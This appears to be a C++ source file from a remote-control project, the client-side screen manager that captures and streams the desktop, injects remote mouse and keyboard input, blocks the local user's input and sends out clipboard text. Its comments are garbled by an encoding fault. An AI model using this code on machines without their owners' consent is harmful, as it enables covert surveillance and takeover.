Files
SimpleRemoter/client/ScreenManager.cpp
2025-03-30 19:44:02 +08:00

356 lines
8.8 KiB
C++
Raw Blame History

This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
// ScreenManager.cpp: implementation of the CScreenManager class.
//
//////////////////////////////////////////////////////////////////////
#include "stdafx.h"
#include "ScreenManager.h"
#include "Common.h"
#include <IOSTREAM>
#if _MSC_VER <= 1200
#include <Winable.h>
#else
#include <WinUser.h>
#endif
#include <time.h>
using namespace std;
#include "ScreenSpy.h"
#include "ScreenCapturerDXGI.h"
//////////////////////////////////////////////////////////////////////
// Construction/Destruction
//////////////////////////////////////////////////////////////////////
#define WM_MOUSEWHEEL 0x020A
#define GET_WHEEL_DELTA_WPARAM(wParam)((short)HIWORD(wParam))
bool IsWindows8orHigher() {
typedef LONG(WINAPI* RtlGetVersionPtr)(PRTL_OSVERSIONINFOW);
HMODULE hMod = GetModuleHandleW(L"ntdll.dll");
if (!hMod) return false;
RtlGetVersionPtr rtlGetVersion = (RtlGetVersionPtr)GetProcAddress(hMod, "RtlGetVersion");
if (!rtlGetVersion) return false;
RTL_OSVERSIONINFOW rovi = { 0 };
rovi.dwOSVersionInfoSize = sizeof(rovi);
if (rtlGetVersion(&rovi) == 0) {
return (rovi.dwMajorVersion > 6) || (rovi.dwMajorVersion == 6 && rovi.dwMinorVersion >= 2);
}
return false;
}
CScreenManager::CScreenManager(IOCPClient* ClientObject, int n, void* user):CManager(ClientObject)
{
m_bIsWorking = TRUE;
m_bIsBlockInput = FALSE;
bool DXGI = false;
BYTE algo = ALGORITHM_DIFF;
if (!(user == NULL || (int)user == 1)) {
UserParam* param = (UserParam*)user;
if (param) {
DXGI = param->buffer[0];
algo = param->length > 1 ? param->buffer[1] : algo;
delete param;
}
} else {
DXGI = user;
}
Mprintf("CScreenManager: DXGI %s Algorithm: %d\n", DXGI ? "On":"Off", int(algo));
m_ScreenSpyObject = (DXGI && IsWindows8orHigher()) ? (ScreenCapture*) new ScreenCapturerDXGI(algo) : new CScreenSpy(32, algo);
m_hWorkThread = CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)WorkThreadProc,this,0,NULL);
}
DWORD WINAPI CScreenManager::WorkThreadProc(LPVOID lParam)
{
CScreenManager *This = (CScreenManager *)lParam;
This->SendBitMapInfo(); //<2F><><EFBFBD><EFBFBD>bmpλͼ<CEBB>
// <20>ȿ<EFBFBD><C8BF>ƶ˶Ի<CBB6><D4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
This->WaitForDialogOpen();
clock_t last = clock();
This->SendFirstScreen();
#if USING_ZLIB
const int fps = 8;// ֡<><D6A1>
#elif USING_LZ4
const int fps = 8;// ֡<><D6A1>
#else
const int fps = 8;// ֡<><D6A1>
#endif
const int sleep = 1000 / fps;// <20><><EFBFBD><EFBFBD>ʱ<EFBFBD>䣨ms<6D><73>
int c1 = 0; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʱ<EFBFBD><CAB1><EFBFBD>Ĵ<EFBFBD><C4B4><EFBFBD>
int c2 = 0; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʱ<EFBFBD>̵Ĵ<CCB5><C4B4><EFBFBD>
float s0 = sleep; // <20><>֮֡<D6A1><D6AE><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ms<6D><73>
const int frames = fps; // ÿ<><C3BF><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ļ<EFBFBD><C4BB><EFBFBD><EFBFBD><EFBFBD>ٶ<EFBFBD>
const float alpha = 1.03; // <20><><EFBFBD><EFBFBD>fps<70><73><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
timeBeginPeriod(1);
while (This->m_bIsWorking)
{
ULONG ulNextSendLength = 0;
const char* szBuffer = This->GetNextScreen(ulNextSendLength);
if (szBuffer)
{
s0 = max(s0, 50); // <20><><EFBFBD><EFBFBD>ÿ<EFBFBD><C3BF>20֡
s0 = min(s0, 1000);
int span = s0-(clock() - last);
Sleep(span > 0 ? span : 1);
if (span < 0) // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݺ<EFBFBD>ʱ<EFBFBD>ϳ<EFBFBD><CFB3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ϲ<EFBFBD><CFB2><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݽ϶<DDBD>
{
c2 = 0;
if (frames == ++c1) { // <20><><EFBFBD><EFBFBD>һ<EFBFBD><D2BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʱ<EFBFBD><CAB1>
s0 = (s0 <= sleep*4) ? s0*alpha : s0;
c1 = 0;
#ifdef _DEBUG
Mprintf("[+]SendScreen Span= %dms, s0= %f, fps= %f\n", span, s0, 1000./s0);
#endif
}
} else if (span > 0){ // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݺ<EFBFBD>ʱ<EFBFBD><CAB1>s0<73>̣<EFBFBD><CCA3><EFBFBD>ʾ<EFBFBD><CABE><EFBFBD><EFBFBD><EFBFBD>Ϻû<CFBA><C3BB><EFBFBD><EFBFBD>ݰ<EFBFBD><DDB0><EFBFBD>С
c1 = 0;
if (frames == ++c2) { // <20><><EFBFBD><EFBFBD>һ<EFBFBD><D2BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʱ<EFBFBD><CAB1>
s0 = (s0 >= sleep/4) ? s0/alpha : s0;
c2 = 0;
#ifdef _DEBUG
Mprintf("[-]SendScreen Span= %dms, s0= %f, fps= %f\n", span, s0, 1000./s0);
#endif
}
}
last = clock();
This->SendNextScreen(szBuffer, ulNextSendLength);
}
}
timeEndPeriod(1);
Mprintf("ScreenWorkThread Exit\n");
return 0;
}
VOID CScreenManager::SendBitMapInfo()
{
//<2F><><EFBFBD><EFBFBD><EFBFBD>õ<EFBFBD>bmp<6D><EFBFBD>Ĵ<EFBFBD>С
const ULONG ulLength = 1 + sizeof(BITMAPINFOHEADER);
LPBYTE szBuffer = (LPBYTE)VirtualAlloc(NULL,
ulLength, MEM_COMMIT, PAGE_READWRITE);
if (szBuffer == NULL)
return;
szBuffer[0] = TOKEN_BITMAPINFO;
//<2F><><EFBFBD>ォbmpλͼ<CEBB><EFBFBD><E1B9B9><EFBFBD>ͳ<EFBFBD>ȥ
memcpy(szBuffer + 1, m_ScreenSpyObject->GetBIData(), ulLength - 1);
m_ClientObject->OnServerSending((char*)szBuffer, ulLength);
VirtualFree(szBuffer, 0, MEM_RELEASE);
}
CScreenManager::~CScreenManager()
{
Mprintf("ScreenManager <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>\n");
m_bIsWorking = FALSE;
WaitForSingleObject(m_hWorkThread, INFINITE);
if (m_hWorkThread!=NULL)
{
CloseHandle(m_hWorkThread);
}
delete m_ScreenSpyObject;
m_ScreenSpyObject = NULL;
}
VOID CScreenManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
{
switch(szBuffer[0])
{
case COMMAND_NEXT:
{
NotifyDialogIsOpen();
break;
}
case COMMAND_SCREEN_CONTROL:
{
BlockInput(false);
ProcessCommand(szBuffer + 1, ulLength - 1);
BlockInput(m_bIsBlockInput); //<2F>ٻָ<D9BB><D6B8><EFBFBD><EFBFBD>û<EFBFBD><C3BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
break;
}
case COMMAND_SCREEN_BLOCK_INPUT: //ControlThread<61><64><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
{
m_bIsBlockInput = *(LPBYTE)&szBuffer[1]; //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>̵<EFBFBD><CCB5><EFBFBD><EFBFBD><EFBFBD>
BlockInput(m_bIsBlockInput);
break;
}
case COMMAND_SCREEN_GET_CLIPBOARD:
{
SendClientClipboard();
break;
}
case COMMAND_SCREEN_SET_CLIPBOARD:
{
UpdateClientClipboard((char*)szBuffer + 1, ulLength - 1);
break;
}
}
}
VOID CScreenManager::UpdateClientClipboard(char *szBuffer, ULONG ulLength)
{
if (!::OpenClipboard(NULL))
return;
::EmptyClipboard();
HGLOBAL hGlobal = GlobalAlloc(GMEM_DDESHARE, ulLength);
if (hGlobal != NULL) {
LPTSTR szClipboardVirtualAddress = (LPTSTR) GlobalLock(hGlobal);
if (szClipboardVirtualAddress == NULL)
return;
memcpy(szClipboardVirtualAddress, szBuffer, ulLength);
GlobalUnlock(hGlobal);
if(NULL==SetClipboardData(CF_TEXT, hGlobal))
GlobalFree(hGlobal);
}
CloseClipboard();
}
VOID CScreenManager::SendClientClipboard()
{
if (!::OpenClipboard(NULL)) //<2F>򿪼<EFBFBD><F2BFAABC>а<EFBFBD><D0B0>
return;
HGLOBAL hGlobal = GetClipboardData(CF_TEXT); //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD><D2BB><EFBFBD>ڴ<EFBFBD>
if (hGlobal == NULL)
{
::CloseClipboard();
return;
}
size_t iPacketLength = GlobalSize(hGlobal) + 1;
char* szClipboardVirtualAddress = (LPSTR) GlobalLock(hGlobal); //<2F><><EFBFBD><EFBFBD>
LPBYTE szBuffer = new BYTE[iPacketLength];
szBuffer[0] = TOKEN_CLIPBOARD_TEXT;
memcpy(szBuffer + 1, szClipboardVirtualAddress, iPacketLength - 1);
::GlobalUnlock(hGlobal);
::CloseClipboard();
m_ClientObject->OnServerSending((char*)szBuffer, iPacketLength);
delete[] szBuffer;
}
VOID CScreenManager::SendFirstScreen()
{
ULONG ulFirstSendLength = 0;
LPVOID FirstScreenData = m_ScreenSpyObject->GetFirstScreenData(&ulFirstSendLength);
if (ulFirstSendLength == 0 || FirstScreenData == NULL)
{
return;
}
m_ClientObject->OnServerSending((char*)FirstScreenData, ulFirstSendLength + 1);
}
const char* CScreenManager::GetNextScreen(ULONG &ulNextSendLength)
{
LPVOID NextScreenData = m_ScreenSpyObject->GetNextScreenData(&ulNextSendLength);
if (ulNextSendLength == 0 || NextScreenData == NULL)
{
return NULL;
}
return (char*)NextScreenData;
}
VOID CScreenManager::SendNextScreen(const char* szBuffer, ULONG ulNextSendLength)
{
m_ClientObject->OnServerSending(szBuffer, ulNextSendLength);
}
VOID CScreenManager::ProcessCommand(LPBYTE szBuffer, ULONG ulLength)
{
// <20><><EFBFBD>ݰ<EFBFBD><DDB0><EFBFBD><EFBFBD>Ϸ<EFBFBD>
if (ulLength % sizeof(MSG) != 0)
return;
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
ULONG ulMsgCount = ulLength / sizeof(MSG);
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
for (int i = 0; i < ulMsgCount; ++i)
{
MSG *Msg = (MSG *)(szBuffer + i * sizeof(MSG));
switch (Msg->message)
{
case WM_LBUTTONDOWN:
case WM_LBUTTONUP:
case WM_RBUTTONDOWN:
case WM_RBUTTONUP:
case WM_MOUSEMOVE:
case WM_LBUTTONDBLCLK:
case WM_RBUTTONDBLCLK:
case WM_MBUTTONDOWN:
case WM_MBUTTONUP:
{
POINT Point;
Point.x = LOWORD(Msg->lParam);
Point.y = HIWORD(Msg->lParam);
m_ScreenSpyObject->PointConversion(Point);
SetCursorPos(Point.x, Point.y);
SetCapture(WindowFromPoint(Point));
}
break;
default:
break;
}
switch(Msg->message) //<2F>˿ڷ<CBBF><DAB7>ӿ<EFBFBD><D3BF>ݷ<EFBFBD>
{
case WM_LBUTTONDOWN:
mouse_event(MOUSEEVENTF_LEFTDOWN, 0, 0, 0, 0);
break;
case WM_LBUTTONUP:
mouse_event(MOUSEEVENTF_LEFTUP, 0, 0, 0, 0);
break;
case WM_RBUTTONDOWN:
mouse_event(MOUSEEVENTF_RIGHTDOWN, 0, 0, 0, 0);
break;
case WM_RBUTTONUP:
mouse_event(MOUSEEVENTF_RIGHTUP, 0, 0, 0, 0);
break;
case WM_LBUTTONDBLCLK:
mouse_event(MOUSEEVENTF_LEFTDOWN | MOUSEEVENTF_LEFTUP, 0, 0, 0, 0);
mouse_event(MOUSEEVENTF_LEFTDOWN | MOUSEEVENTF_LEFTUP, 0, 0, 0, 0);
break;
case WM_RBUTTONDBLCLK:
mouse_event(MOUSEEVENTF_RIGHTDOWN | MOUSEEVENTF_RIGHTUP, 0, 0, 0, 0);
mouse_event(MOUSEEVENTF_RIGHTDOWN | MOUSEEVENTF_RIGHTUP, 0, 0, 0, 0);
break;
case WM_MBUTTONDOWN:
mouse_event(MOUSEEVENTF_MIDDLEDOWN, 0, 0, 0, 0);
break;
case WM_MBUTTONUP:
mouse_event(MOUSEEVENTF_MIDDLEUP, 0, 0, 0, 0);
break;
case WM_MOUSEWHEEL:
mouse_event(MOUSEEVENTF_WHEEL, 0, 0,
GET_WHEEL_DELTA_WPARAM(Msg->wParam), 0);
break;
case WM_KEYDOWN:
case WM_SYSKEYDOWN:
keybd_event(Msg->wParam, MapVirtualKey(Msg->wParam, 0), 0, 0);
break;
case WM_KEYUP:
case WM_SYSKEYUP:
keybd_event(Msg->wParam, MapVirtualKey(Msg->wParam, 0), KEYEVENTF_KEYUP, 0);
break;
default:
break;
}
}
}